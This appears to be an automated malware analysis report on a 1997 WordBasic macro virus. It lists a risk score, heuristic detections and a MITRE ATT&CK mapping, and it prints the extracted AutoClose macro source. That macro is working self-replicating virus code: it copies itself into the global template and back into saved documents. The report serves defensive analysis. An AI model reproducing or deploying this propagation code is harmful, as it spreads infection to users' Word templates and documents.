MALICIOUS
68
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
The sample is identified as a legacy WordBasic macro virus, specifically a 'RSN MACRO VIRUS Goat file' created in 1997. The Auto_Close macro is present, indicating an attempt to execute malicious code upon document closure. The VBA code includes logic for copying the AutoClose macro to global templates, suggesting a self-replication or propagation mechanism.
Heuristics 3
-
Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUSOLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Auto_Close macro low OLE_VBA_AUTOCLOSEAuto_Close macroMatched line in script
Attribute VB_Name = "AutoClose"
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 982 bytes |
SHA-256: 6be4a148c9ef25b105a0a4860c01f7d039ec1cf7b31b2ae3a50652b077005ba2 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "AutoClose"
Public Sub MAIN()
Dim total
Dim present
Dim cycle
Dim a$
total = WordBasic.CountMacros(0)
present = 0
If total > 0 Then
For cycle = 1 To total
If WordBasic.[MacroName$](cycle, 0) = "AutoClose" Then
present = 1
End If
'End If
a$ = WordBasic.[WindowName$]() + ":AutoClose"
If present <> 1 Then
WordBasic.MacroCopy a$, "Global:AutoClose"
Else
present = 0
If WordBasic.CountMacros(1) <> 0 Then
present = 1
End If
If present = 0 Then
WordBasic.FileSaveAs Format:=1
WordBasic.MacroCopy "Global:AutoClose", a$
End If
End If
WordBasic.FileSave
Next
End If
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.